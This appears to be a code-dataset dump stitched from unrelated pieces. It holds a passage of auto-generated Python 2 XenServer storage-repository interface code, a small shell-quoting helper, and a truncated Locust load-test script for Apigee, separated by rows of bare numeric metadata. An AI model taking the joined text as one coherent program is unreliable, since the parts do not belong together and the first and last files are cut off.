raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('uri' in args): raise UnmarshalException('argument missing', 'uri', '') uri = args["uri"] if not isinstance(uri, str) and not isinstance(uri, unicode): raise (TypeError("string", repr(uri))) if not('name' in args): raise UnmarshalException('argument missing', 'name', '') name = args["name"] if not isinstance(name, str) and not isinstance(name, unicode): raise (TypeError("string", repr(name))) if not('description' in args): raise UnmarshalException('argument missing', 'description', '') description = args["description"] if not isinstance(description, str) and not isinstance(description, unicode): raise (TypeError("string", repr(description))) if not('configuration' in args): raise UnmarshalException('argument missing', 'configuration', '') configuration = args["configuration"] if not isinstance(configuration, dict): raise (TypeError("(string * string) list", repr(configuration))) for tmp_16 in configuration.keys(): if not isinstance(tmp_16, str) and not isinstance(tmp_16, unicode): raise (TypeError("string", repr(tmp_16))) for tmp_16 in configuration.values(): if not isinstance(tmp_16, str) and not isinstance(tmp_16, unicode): raise (TypeError("string", repr(tmp_16))) results = self._impl.create(dbg, uri, name, description, configuration) return results def attach(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('uri' in args): raise UnmarshalException('argument missing', 'uri', '') uri = args["uri"] if not isinstance(uri, str) and not isinstance(uri, unicode): raise (TypeError("string", repr(uri))) results = self._impl.attach(dbg, uri) if not isinstance(results, str) and not isinstance(results, unicode): raise (TypeError("string", repr(results))) return results def detach(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) results = self._impl.detach(dbg, sr) return results def destroy(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) results = self._impl.destroy(dbg, sr) return results def stat(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) results = self._impl.stat(dbg, sr) if not isinstance(results['sr'], str) and not isinstance(results['sr'], unicode): raise (TypeError("string", repr(results['sr']))) if not isinstance(results['name'], str) and not isinstance(results['name'], unicode): raise (TypeError("string", repr(results['name']))) if not isinstance(results['description'], str) and not isinstance(results['description'], unicode): raise (TypeError("string", repr(results['description']))) if not(is_long(results['free_space'])): raise (TypeError("int64", repr(results['free_space']))) if not(is_long(results['total_space'])): raise (TypeError("int64", repr(results['total_space']))) if not isinstance(results['datasources'], list): raise (TypeError("string list", repr(results['datasources']))) for tmp_17 in results['datasources']: if not isinstance(tmp_17, str) and not isinstance(tmp_17, unicode): raise (TypeError("string", repr(tmp_17))) if not isinstance(results['clustered'], bool): raise (TypeError("bool", repr(results['clustered']))) if results['health'][0] == 'Healthy': if not isinstance(results['health'][1], str) and not isinstance(results['health'][1], unicode): raise (TypeError("string", repr(results['health'][1]))) elif results['health'][0] == 'Recovering': if not isinstance(results['health'][1], str) and not isinstance(results['health'][1], unicode): raise (TypeError("string", repr(results['health'][1]))) return results def set_name(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('new_name' in args): raise UnmarshalException('argument missing', 'new_name', '') new_name = args["new_name"] if not isinstance(new_name, str) and not isinstance(new_name, unicode): raise (TypeError("string", repr(new_name))) results = self._impl.set_name(dbg, sr, new_name) return results def set_description(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) if not('new_description' in args): raise UnmarshalException('argument missing', 'new_description', '') new_description = args["new_description"] if not isinstance(new_description, str) and not isinstance(new_description, unicode): raise (TypeError("string", repr(new_description))) results = self._impl.set_description(dbg, sr, new_description) return results def ls(self, args): """type-check inputs, call implementation, type-check outputs and return""" if not isinstance(args, dict): raise (UnmarshalException('arguments', 'dict', repr(args))) if not('dbg' in args): raise UnmarshalException('argument missing', 'dbg', '') dbg = args["dbg"] if not isinstance(dbg, str) and not isinstance(dbg, unicode): raise (TypeError("string", repr(dbg))) if not('sr' in args): raise UnmarshalException('argument missing', 'sr', '') sr = args["sr"] if not isinstance(sr, str) and not isinstance(sr, unicode): raise (TypeError("string", repr(sr))) results = self._impl.ls(dbg, sr) if not isinstance(results, list): raise (TypeError("8 list", repr(results))) for tmp_18 in results: if not isinstance(tmp_18['key'], str) and not isinstance(tmp_18['key'], unicode): raise (TypeError("string", repr(tmp_18['key']))) if tmp_18['uuid'] is not None: if not isinstance(tmp_18['uuid'], str) and not isinstance(tmp_18['uuid'], unicode): raise (TypeError("string", repr(tmp_18['uuid']))) if not isinstance(tmp_18['name'], str) and not isinstance(tmp_18['name'], unicode): raise (TypeError("string", repr(tmp_18['name']))) if not isinstance(tmp_18['description'], str) and not isinstance(tmp_18['description'], unicode): raise (TypeError("string", repr(tmp_18['description']))) if not isinstance(tmp_18['read_write'], bool): raise (TypeError("bool", repr(tmp_18['read_write']))) if not(is_long(tmp_18['virtual_size'])): raise (TypeError("int64", repr(tmp_18['virtual_size']))) if not(is_long(tmp_18['physical_utilisation'])): raise (TypeError("int64", repr(tmp_18['physical_utilisation']))) if not isinstance(tmp_18['uri'], list): raise (TypeError("string list", repr(tmp_18['uri']))) for tmp_19 in tmp_18['uri']: if not isinstance(tmp_19, str) and not isinstance(tmp_19, unicode): raise (TypeError("string", repr(tmp_19))) if not isinstance(tmp_18['keys'], dict): raise (TypeError("(string * string) list", repr(tmp_18['keys']))) for tmp_20 in tmp_18['keys'].keys(): if not isinstance(tmp_20, str) and not isinstance(tmp_20, unicode): raise (TypeError("string", repr(tmp_20))) for tmp_20 in tmp_18['keys'].values(): if not isinstance(tmp_20, str) and not isinstance(tmp_20, unicode): raise (TypeError("string", repr(tmp_20))) return results def _dispatch(self, method, params): """type check inputs, call implementation, type check outputs and return""" args = params[0] if method == "SR.probe": return success(self.probe(args)) elif method == "SR.create": return success(self.create(args)) elif method == "SR.attach": return success(self.attach(args)) elif method == "SR.detach": return success(self.detach(args)) elif method == "SR.destroy": return success(self.destroy(args)) elif method == "SR.stat": return success(self.stat(args)) elif method == "SR.set_name": return success(self.set_name(args)) elif method == "SR.set_description": return success(self.set_description(args)) elif method == "SR.ls": return success(self.ls(args)) class SR_skeleton: """Operations which act on Storage Repositories""" def __init__(self): pass def probe(self, dbg, uri): """Operations which act on Storage Repositories""" raise Unimplemented("SR.probe") def create(self, dbg, uri, name, description, configuration): """Operations which act on Storage Repositories""" raise Unimplemented("SR.create") def attach(self, dbg, uri): """Operations which act on Storage Repositories""" raise Unimplemented("SR.attach") def detach(self, dbg, sr): """Operations which act on Storage Repositories""" raise Unimplemented("SR.detach") def destroy(self, dbg, sr): """Operations which act on Storage Repositories""" raise Unimplemented("SR.destroy") def stat(self, dbg, sr): """Operations which act on Storage Repositories""" raise Unimplemented("SR.stat") def set_name(self, dbg, sr, new_name): """Operations which act on Storage Repositories""" raise Unimplemented("SR.set_name") def set_description(self, dbg, sr, new_description): """Operations which act on Storage Repositories""" raise Unimplemented("SR.set_description") def ls(self, dbg, sr): """Operations which act on Storage Repositories""" raise Unimplemented("SR.ls") class SR_test: """Operations which act on Storage Repositories""" def __init__(self): pass def probe(self, dbg, uri): """Operations which act on Storage Repositories""" result = {} result["result"] = { "srs": [ { "sr": "string", "name": "string", "description": "string", "free_space": 0L, "total_space": 0L, "datasources": [ "string", "string" ], "clustered": True, "health": None }, { "sr": "string", "name": "string", "description": "string", "free_space": 0L, "total_space": 0L, "datasources": [ "string", "string" ], "clustered": True, "health": None } ], "uris": [ "string", "string" ] } return result def create(self, dbg, uri, name, description, configuration): """Operations which act on Storage Repositories""" result = {} return result def attach(self, dbg, uri): """Operations which act on Storage Repositories""" result = {} result["sr"] = "string" return result def detach(self, dbg, sr): """Operations which act on Storage Repositories""" result = {} return result def destroy(self, dbg, sr): """Operations which act on Storage Repositories""" result = {} return result def stat(self, dbg, sr): """Operations which act on Storage Repositories""" result = {} result["sr"] = { "sr": "string", "name": "string", "description": "string", "free_space": 0L, "total_space": 0L, "datasources": [ "string", "string" ], "clustered": True, "health": None } return result def set_name(self, dbg, sr, new_name): """Operations which act on Storage Repositories""" result = {} return result def set_description(self, dbg, sr, new_description): """Operations which act on Storage Repositories""" result = {} return result def ls(self, dbg, sr): """Operations which act on Storage Repositories""" result = {} result["volumes"] = [ { "key": "string", "uuid": None, "name": "string", "description": "string", "read_write": True, "virtual_size": 0L, "physical_utilisation": 0L, "uri": [ "string", "string" ], "keys": { "string": "string" } }, { "key": "string", "uuid": None, "name": "string", "description": "string", "read_write": True, "virtual_size": 0L, "physical_utilisation": 0L, "uri": [ "string", "string" ], "keys": { "string": "string" } } ] return result class SR_commandline(): """Parse command-line arguments and call an implementation.""" def __init__(self, impl): self.impl = impl self.dispatcher = SR_server_dispatcher(self.impl) def _parse_probe(self): """[probe uri]: looks for existing SRs on the storage device""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[probe uri]: looks for existing SRs on the storage device') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('uri', action='store', help='The Storage Repository URI') return vars(parser.parse_args()) def _parse_create(self): """[create uri name description configuration]: creates a fresh SR""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[create uri name description configuration]: creates a fresh SR') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('uri', action='store', help='The Storage Repository URI') parser.add_argument('name', action='store', help='Human-readable name for the SR') parser.add_argument('description', action='store', help='Human-readable description for the SR') parser.add_argument('--configuration', default={}, nargs=2, action=xapi.ListAction, help='Plugin-specific configuration which describes where and how to create the storage repository. This may include the physical block device name, a remote NFS server and path or an RBD storage pool.') return vars(parser.parse_args()) def _parse_attach(self): """[attach uri]: attaches the SR to the local host. Once an SR is attached then volumes may be manipulated.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[attach uri]: attaches the SR to the local host. Once an SR is attached then volumes may be manipulated.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('uri', action='store', help='The Storage Repository URI') return vars(parser.parse_args()) def _parse_detach(self): """[detach sr]: detaches the SR, clearing up any associated resources. Once the SR is detached then volumes may not be manipulated.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[detach sr]: detaches the SR, clearing up any associated resources. Once the SR is detached then volumes may not be manipulated.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') return vars(parser.parse_args()) def _parse_destroy(self): """[destroy sr]: destroys the [sr] and deletes any volumes associated with it. Note that an SR must be attached to be destroyed; otherwise Sr_not_attached is thrown.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[destroy sr]: destroys the [sr] and deletes any volumes associated with it. Note that an SR must be attached to be destroyed; otherwise Sr_not_attached is thrown.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') return vars(parser.parse_args()) def _parse_stat(self): """[stat sr] returns summary metadata associated with [sr]. Note this call does not return details of sub-volumes, see SR.ls.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[stat sr] returns summary metadata associated with [sr]. Note this call does not return details of sub-volumes, see SR.ls.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') return vars(parser.parse_args()) def _parse_set_name(self): """[set_name sr new_name] changes the name of [sr]""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[set_name sr new_name] changes the name of [sr]') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('new_name', action='store', help='The new name of the SR') return vars(parser.parse_args()) def _parse_set_description(self): """[set_description sr new_description] changes the description of [sr]""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[set_description sr new_description] changes the description of [sr]') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') parser.add_argument('new_description', action='store', help='The new description for the SR') return vars(parser.parse_args()) def _parse_ls(self): """[ls sr] returns a list of volumes contained within an attached SR.""" # in --json mode we don't have any other arguments if ('--json' in sys.argv or '-j' in sys.argv): jsondict = json.loads(sys.stdin.readline(),) jsondict['json'] = True return jsondict parser = argparse.ArgumentParser(description='[ls sr] returns a list of volumes contained within an attached SR.') parser.add_argument('-j', '--json', action='store_const', const=True, default=False, help='Read json from stdin, print json to stdout', required=False) parser.add_argument('dbg', action='store', help='Debug context from the caller') parser.add_argument('sr', action='store', help='The Storage Repository') return vars(parser.parse_args()) def probe(self): use_json = False try: request = self._parse_probe() use_json = 'json' in request and request['json'] results = self.dispatcher.probe(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def create(self): use_json = False try: request = self._parse_create() use_json = 'json' in request and request['json'] results = self.dispatcher.create(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def attach(self): use_json = False try: request = self._parse_attach() use_json = 'json' in request and request['json'] results = self.dispatcher.attach(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def detach(self): use_json = False try: request = self._parse_detach() use_json = 'json' in request and request['json'] results = self.dispatcher.detach(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def destroy(self): use_json = False try: request = self._parse_destroy() use_json = 'json' in request and request['json'] results = self.dispatcher.destroy(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def stat(self): use_json = False try: request = self._parse_stat() use_json = 'json' in request and request['json'] results = self.dispatcher.stat(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def set_name(self): use_json = False try: request = self._parse_set_name() use_json = 'json' in request and request['json'] results = self.dispatcher.set_name(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def set_description(self): use_json = False try: request = self._parse_set_description() use_json = 'json' in request and request['json'] results = self.dispatcher.set_description(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e def ls(self): use_json = False try: request = self._parse_ls() use_json = 'json' in request and request['json'] results = self.dispatcher.ls(request) print json.dumps(results) except Exception, e: if use_json: xapi.handle_exception(e) else: traceback.print_exc() raise e class volume_server_dispatcher: """Demux calls to individual interface server_dispatchers""" def __init__(self, Volume=None, SR=None): self.Volume = Volume self.SR = SR def _dispatch(self, method, params): try: logging.debug("method = %s params = %s" % (method, repr(params))) if method.startswith("Volume") and self.Volume: return self.Volume._dispatch(method, params) elif method.startswith("SR") and self.SR: return self.SR._dispatch(method, params) raise UnknownMethod(method) except Exception, e: logging.info("caught %s" % e) traceback.print_exc() try: # A declared (expected) failure will have a .failure() method logging.debug("returning %s" % (repr(e.failure()))) return e.failure() except AttributeError: # An undeclared (unexpected) failure is wrapped as InternalError return (InternalError(str(e)).failure()) class volume_server_test(volume_server_dispatcher): """Create a server which will respond to all calls, returning arbitrary values. This is intended as a marshal/unmarshal test.""" def __init__(self): volume_server_dispatcher.__init__(self, Volume_server_dispatcher(Volume_test()), SR_server_dispatcher(SR_test()))
55.199716
448
0.609404
9,430
77,666
4.930329
0.034464
0.075495
0.05033
0.046588
0.927667
0.900888
0.869744
0.844149
0.824103
0.818984
0
0.006019
0.259818
77,666
1,407
449
55.199716
0.802738
0.013558
0
0.766204
0
0.010031
0.17445
0.000937
0
0
0
0
0
0
null
null
0.003086
0.005401
null
null
0.044753
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
f2b70b5f65ca96f9255ce7d3c0411221753181d9
135
py
Python
src/pipautocompile/utils.py
KSmanis/pip-autocompile
a7f047d82041b6185c69f198a8085894d10bf71f
[ "MIT" ]
4
2021-05-04T11:06:39.000Z
2021-05-27T14:22:32.000Z
src/pipautocompile/utils.py
KSmanis/pip-autocompile
a7f047d82041b6185c69f198a8085894d10bf71f
[ "MIT" ]
20
2021-05-03T21:05:11.000Z
2022-03-29T18:47:16.000Z
src/pipautocompile/utils.py
KSmanis/pip-autocompile
a7f047d82041b6185c69f198a8085894d10bf71f
[ "MIT" ]
null
null
null
from __future__ import annotations from shlex import quote def quote_args(*args: str) -> str: return " ".join(map(quote, args))
16.875
37
0.711111
19
135
4.789474
0.631579
0.197802
0
0
0
0
0
0
0
0
0
0
0.177778
135
7
38
19.285714
0.81982
0
0
0
0
0
0.007407
0
0
0
0
0
0
1
0.25
true
0
0.5
0.25
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
1
1
0
0
7
f2b79fcab5cc1c605d8ee6ae141e2f2f30176cac
19,730
py
Python
tools/apigee-analytics-load-generator-demo/v2/load-generator/consumers/locust-load.py
igalonso/devrel
aecd1d281bc21aedb9d88611a2a61ed46a30f3ed
[ "Apache-2.0" ]
null
null
null
tools/apigee-analytics-load-generator-demo/v2/load-generator/consumers/locust-load.py
igalonso/devrel
aecd1d281bc21aedb9d88611a2a61ed46a30f3ed
[ "Apache-2.0" ]
null
null
null
tools/apigee-analytics-load-generator-demo/v2/load-generator/consumers/locust-load.py
igalonso/devrel
aecd1d281bc21aedb9d88611a2a61ed46a30f3ed
[ "Apache-2.0" ]
null
null
null
import random import requests import os import json from locust import HttpLocust, TaskSet token = os.getenv("TOKEN") apigee_org = os.getenv("APIGEE_ORG") apigee_url="https://apigee.googleapis.com/v1/organizations/"+apigee_org+"/" apigee_env = os.getenv("APIGEE_ENV") hugePayload = {"Content":"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed et tortor elit. Vivamus nibh orci, auctor eu pharetra sit amet, finibus et turpis. Nullam scelerisque vel lorem et condimentum. Pellentesque a est nulla. Praesent molestie cursus commodo. Integer ac odio at arcu imperdiet volutpat ut et velit. Ut viverra pellentesque elit eget mattis. Maecenas et convallis risus. Aenean sem nisl, cursus sit amet faucibus eget, lacinia eget sapien. Aenean eu elementum mi, condimentum pharetra ante. Aliquam scelerisque malesuada purus.Etiam elementum libero neque, id pellentesque lectus sodales non. Suspendisse dui arcu, vehicula quis diam semper, tempus elementum nulla. Duis ut ipsum ut ex mollis malesuada sed ultrices nisl. Etiam sit amet massa vestibulum, imperdiet nunc ac, sagittis massa. Nulla quis orci sit amet sem faucibus malesuada. Sed ut eros placerat, consequat nisl facilisis, accumsan diam. Phasellus eleifend velit non iaculis aliquet. Etiam ac dolor tincidunt, luctus metus et, luctus erat. Praesent fermentum sed dui et fermentum. Donec nec pretium neque, eu vulputate urna. Donec non metus sit amet velit interdum viverra. Praesent non luctus velit. Maecenas velit arcu, suscipit sed mauris et, ultrices ullamcorper arcu. Phasellus commodo magna metus, vel mollis arcu aliquam non. Nunc rhoncus velit nisi, a fermentum eros luctus nec.Cras cursus tempus velit, vel commodo ex dapibus a. Sed nec commodo libero, semper iaculis purus. Praesent faucibus, mi vitae scelerisque feugiat, ligula dui dictum quam, eget porta neque quam ac ligula. Ut ullamcorper ipsum quis urna ornare, vitae consequat nibh viverra. Curabitur semper feugiat nunc et ultrices. Suspendisse id tellus in velit auctor elementum vitae in enim. Nunc eu venenatis risus. Sed sed purus magna. Proin nec facilisis eros. Donec et elit id risus tristique congue ut nec lectus. Sed augue mi, accumsan non ligula vel, dapibus lacinia mauris. Mauris quam arcu, congue et sapien eu, consectetur placerat nisl. Nam finibus quam pulvinar vehicula placerat.Quisque rhoncus sapien quis turpis lacinia, egestas congue neque placerat. Phasellus eu bibendum quam. Proin quis justo erat. Nam faucibus lorem iaculis, aliquam risus non, vulputate sapien. Ut gravida interdum mauris vel rutrum. Nullam tortor est, bibendum at nibh quis, tincidunt rutrum tellus. Integer luctus ante eu sapien euismod, a tempus quam congue. Donec ullamcorper posuere leo, vel condimentum purus venenatis ut. Maecenas in faucibus justo, convallis euismod sem. In ut magna vel est blandit porta. Ut et porta lorem, et scelerisque tortor. Curabitur faucibus, velit vel tristique aliquam, leo nibh porta sem, at euismod augue tortor a sapien. Maecenas sit amet augue id ipsum dictum malesuada id ac ligula. Fusce vel fringilla nisl, nec hendrerit sapien.Vestibulum lorem nisl, cursus varius lacus quis, eleifend posuere sem. Cras vehicula faucibus diam a vehicula. Etiam tincidunt malesuada porta. Aliquam erat volutpat. Integer nec diam diam. Nullam tortor lorem, rutrum nec consectetur vitae, gravida a purus. Nullam vehicula eros libero, non consectetur ligula imperdiet nec. Quisque malesuada justo mi, at tincidunt neque pharetra et. Duis vitae magna eu libero malesuada dictum. Maecenas sit amet ornare velit. Maecenas egestas velit egestas felis dignissim blandit. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed et tortor elit. Vivamus nibh orci, auctor eu pharetra sit amet, finibus et turpis. Nullam scelerisque vel lorem et condimentum. Pellentesque a est nulla. Praesent molestie cursus commodo. Integer ac odio at arcu imperdiet volutpat ut et velit. Ut viverra pellentesque elit eget mattis. Maecenas et convallis risus. Aenean sem nisl, cursus sit amet faucibus eget, lacinia eget sapien. Aenean eu elementum mi, condimentum pharetra ante. Aliquam scelerisque malesuada purus.Etiam elementum libero neque, id pellentesque lectus sodales non. Suspendisse dui arcu, vehicula quis diam semper, tempus elementum nulla. Duis ut ipsum ut ex mollis malesuada sed ultrices nisl. Etiam sit amet massa vestibulum, imperdiet nunc ac, sagittis massa. Nulla quis orci sit amet sem faucibus malesuada. Sed ut eros placerat, consequat nisl facilisis, accumsan diam. Phasellus eleifend velit non iaculis aliquet. Etiam ac dolor tincidunt, luctus metus et, luctus erat. Praesent fermentum sed dui et fermentum. Donec nec pretium neque, eu vulputate urna. Donec non metus sit amet velit interdum viverra. Praesent non luctus velit. Maecenas velit arcu, suscipit sed mauris et, ultrices ullamcorper arcu. Phasellus commodo magna metus, vel mollis arcu aliquam non. Nunc rhoncus velit nisi, a fermentum eros luctus nec.Cras cursus tempus velit, vel commodo ex dapibus a. Sed nec commodo libero, semper iaculis purus. Praesent faucibus, mi vitae scelerisque feugiat, ligula dui dictum quam, eget porta neque quam ac ligula. Ut ullamcorper ipsum quis urna ornare, vitae consequat nibh viverra. Curabitur semper feugiat nunc et ultrices. Suspendisse id tellus in velit auctor elementum vitae in enim. Nunc eu venenatis risus. Sed sed purus magna. Proin nec facilisis eros. Donec et elit id risus tristique congue ut nec lectus. Sed augue mi, accumsan non ligula vel, dapibus lacinia mauris. Mauris quam arcu, congue et sapien eu, consectetur placerat nisl. Nam finibus quam pulvinar vehicula placerat.Quisque rhoncus sapien quis turpis lacinia, egestas congue neque placerat. Phasellus eu bibendum quam. Proin quis justo erat. Nam faucibus lorem iaculis, aliquam risus non, vulputate sapien. Ut gravida interdum mauris vel rutrum. Nullam tortor est, bibendum at nibh quis, tincidunt rutrum tellus. Integer luctus ante eu sapien euismod, a tempus quam congue. Donec ullamcorper posuere leo, vel condimentum purus venenatis ut. Maecenas in faucibus justo, convallis euismod sem. In ut magna vel est blandit porta. Ut et porta lorem, et scelerisque tortor. Curabitur faucibus, velit vel tristique aliquam, leo nibh porta sem, at euismod augue tortor a sapien. Maecenas sit amet augue id ipsum dictum malesuada id ac ligula. Fusce vel fringilla nisl, nec hendrerit sapien.Vestibulum lorem nisl, cursus varius lacus quis, eleifend posuere sem. Cras vehicula faucibus diam a vehicula. Etiam tincidunt malesuada porta. Aliquam erat volutpat. Integer nec diam diam. Nullam tortor lorem, rutrum nec consectetur vitae, gravida a purus. Nullam vehicula eros libero, non consectetur ligula imperdiet nec. Quisque malesuada justo mi, at tincidunt neque pharetra et. Duis vitae magna eu libero malesuada dictum. Maecenas sit amet ornare velit. Maecenas egestas velit egestas felis dignissim blandit. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed et tortor elit. Vivamus nibh orci, auctor eu pharetra sit amet, finibus et turpis. Nullam scelerisque vel lorem et condimentum. Pellentesque a est nulla. Praesent molestie cursus commodo. Integer ac odio at arcu imperdiet volutpat ut et velit. Ut viverra pellentesque elit eget mattis. Maecenas et convallis risus. Aenean sem nisl, cursus sit amet faucibus eget, lacinia eget sapien. Aenean eu elementum mi, condimentum pharetra ante. Aliquam scelerisque malesuada purus.Etiam elementum libero neque, id pellentesque lectus sodales non. Suspendisse dui arcu, vehicula quis diam semper, tempus elementum nulla. Duis ut ipsum ut ex mollis malesuada sed ultrices nisl. Etiam sit amet massa vestibulum, imperdiet nunc ac, sagittis massa. Nulla quis orci sit amet sem faucibus malesuada. Sed ut eros placerat, consequat nisl facilisis, accumsan diam. Phasellus eleifend velit non iaculis aliquet. Etiam ac dolor tincidunt, luctus metus et, luctus erat. Praesent fermentum sed dui et fermentum. Donec nec pretium neque, eu vulputate urna. Donec non metus sit amet velit interdum viverra. Praesent non luctus velit. Maecenas velit arcu, suscipit sed mauris et, ultrices ullamcorper arcu. Phasellus commodo magna metus, vel mollis arcu aliquam non. Nunc rhoncus velit nisi, a fermentum eros luctus nec.Cras cursus tempus velit, vel commodo ex dapibus a. Sed nec commodo libero, semper iaculis purus. Praesent faucibus, mi vitae scelerisque feugiat, ligula dui dictum quam, eget porta neque quam ac ligula. Ut ullamcorper ipsum quis urna ornare, vitae consequat nibh viverra. Curabitur semper feugiat nunc et ultrices. Suspendisse id tellus in velit auctor elementum vitae in enim. Nunc eu venenatis risus. Sed sed purus magna. Proin nec facilisis eros. Donec et elit id risus tristique congue ut nec lectus. Sed augue mi, accumsan non ligula vel, dapibus lacinia mauris. Mauris quam arcu, congue et sapien eu, consectetur placerat nisl. Nam finibus quam pulvinar vehicula placerat.Quisque rhoncus sapien quis turpis lacinia, egestas congue neque placerat. Phasellus eu bibendum quam. Proin quis justo erat. Nam faucibus lorem iaculis, aliquam risus non, vulputate sapien. Ut gravida interdum mauris vel rutrum. Nullam 